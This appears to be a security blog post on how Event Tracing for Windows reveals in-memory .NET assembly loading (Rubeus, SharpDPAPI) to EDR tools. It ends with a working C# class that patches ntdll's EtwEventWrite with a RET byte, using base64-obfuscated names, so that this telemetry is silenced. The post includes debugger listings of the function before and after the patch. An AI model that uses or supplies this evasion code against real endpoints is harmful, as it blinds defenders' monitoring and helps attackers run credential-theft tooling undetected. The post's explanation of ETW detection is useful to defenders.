Event Tracing for Windows (ETW) provides telemetry data from kernel and user space processes. This information can be parsed by Endpoint Detection and Response (EDR) products to identity malicious activity on an endpoint.
The event tracing API has three components;
- Controllers – start and stop event tracing sessions.
- Providers – supply events.
- Consumers – retrieve events.
ETW providers can be queried using logman.exe;
In a previous article we looked at loading malicious code with Assembly.Load() in C#. This technique loads an additional assembly into the existing App Domain of the application. We can observe this behavior with the following C# Code:
static void GetAppDomains()
{
AppDomain currentDomain = AppDomain.CurrentDomain;
Assembly[] assems = currentDomain.GetAssemblies();
Console.WriteLine("List of assemblies loaded in current appdomain:");
foreach (Assembly assem in assems)
Console.WriteLine(assem.ToString());
}
Running this code, we can see that SharpDPAPI is being loaded into the AppDomain of the application:
EDR and Anti Virus vendors are also able to track this behavior using ETW.
We can investigate events produced by ETW using Mandiant’s SilkETW application. The application can be run to trace ModuleLoad events coming from the DotNETRuntime provider:
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -ot file -p C:\logfile.json -f EventName -fv "Loader/ModuleLoad"
The application outputs JSON data to a log file. In it, we can see the module load event for Rubeus:
{
"ProviderGuid": "e13c0d23-ccbc-4e12-931b-d9cc2eee27e4",
"YaraMatch": [],
"ProviderName": "Microsoft-Windows-DotNETRuntime",
"EventName": "Loader/ModuleLoad",
"Opcode": 33,
"OpcodeName": "ModuleLoad",
"ThreadID": 10432,
"ProcessID": 10400,
"ProcessName": "ExecuteAssembly",
"PointerSize": 8,
"EventDataLength": 86,
"XmlEventData": {
"ModuleID": "140,707,340,541,256",
"ManagedPdbSignature": "00000000-0000-0000-0000-000000000000",
"Reserved1": "0",
"ManagedPdbBuildPath": "",
"ModuleNativePath": "",
"NativePdbBuildPath": "",
"FormattedMessage": "ModuleID=140,707,340,541,256;\r\nAssemblyID=7,010,512;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;\r\nModuleNativePath=Rubeus;\r\nClrInstanceID=;\r\nManagedPdbSignature=6;\r\nManagedPdbAge=00000000-0000-0000-0000-000000000000;\r\nManagedPdbBuildPath=0;\r\nNativePdbSignature=;\r\nNativePdbAge=00000000-0000-0000-0000-000000000000;\r\nNativePdbBuildPath=0 ",
"MSec": "1004888.7437",
"NativePdbAge": "0",
"ModuleFlags": "Manifest",
"AssemblyID": "7,010,512",
"PID": "10400",
"NativePdbSignature": "00000000-0000-0000-0000-000000000000",
"ModuleILPath": "Rubeus",
"TID": "10432",
"ManagedPdbAge": "0",
"ProviderName": "Microsoft-Windows-DotNETRuntime",
"PName": "",
"ClrInstanceID": "6",
"EventName": "Loader/ModuleLoad"
}
}
In addition, using a tool like Process Explorer also allows us to see the suspicious loaded module:
Removing ETW Userland Hooks
Preventing ETW from logging this information is done in a similar manner to bypassing AMSI. The ntdll EtwEventWrite function is responsible for logging ETW messages. Adding code to return from this function early will prevent it from logging:
On x64 systems, adding a single RET instruction (0xC3) should be enough to prevent the function from returning any data.
EtwEventWrite before modification:
0:006> u ntdll!EtwEventWrite
ntdll!EtwEventWrite:
00007ff9`a177f1a0 4c8bdc mov r11,rsp
00007ff9`a177f1a3 4883ec58 sub rsp,58h
00007ff9`a177f1a7 4d894be8 mov qword ptr [r11-18h],r9
00007ff9`a177f1ab 33c0 xor eax,eax
00007ff9`a177f1ad 458943e0 mov dword ptr [r11-20h],r8d
00007ff9`a177f1b1 4533c9 xor r9d,r9d
00007ff9`a177f1b4 498943d8 mov qword ptr [r11-28h],rax
00007ff9`a177f1b8 4533c0 xor r8d,r8d
EtwEventWrite after modification:
0:000> u ntdll!EtwEventWrite
ntdll!EtwEventWrite:
00007ff9`a177f1a0 c3 ret
00007ff9`a177f1a1 8bdc mov ebx,esp
00007ff9`a177f1a3 4883ec58 sub rsp,58h
00007ff9`a177f1a7 4d894be8 mov qword ptr [r11-18h],r9
00007ff9`a177f1ab 33c0 xor eax,eax
00007ff9`a177f1ad 458943e0 mov dword ptr [r11-20h],r8d
00007ff9`a177f1b1 4533c9 xor r9d,r9d
00007ff9`a177f1b4 498943d8 mov qword ptr [r11-28h],rax
This will have the effect that Process Explorer will no longer return the list of loaded assemblies;
Bypass Code
using System;
using System.Runtime.InteropServices;
public class ETWBypass
{
public static void Execute()
{
var sp = Convert.FromBase64String("RXR3RXZlbnRXcml0ZQ=="); //EtwEventWrite
string decodedSp = System.Text.Encoding.UTF8.GetString(sp);
var ad = Convert.FromBase64String("bnRkbGwuZGxs"); //ntdll.dll
string decodedAd = System.Text.Encoding.UTF8.GetString(ad);
var lib = LoadLibrary(decodedAd);
var myvar = GetProcAddress(lib, Convert.ToString(decodedSp));
byte [] bypass = { 0xC3 }; //Cause EtwEventWrite to return
var p = bypass;
_ = VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect);
Marshal.Copy(p, 0, myvar, p.Length);
_ = VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _);
}
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}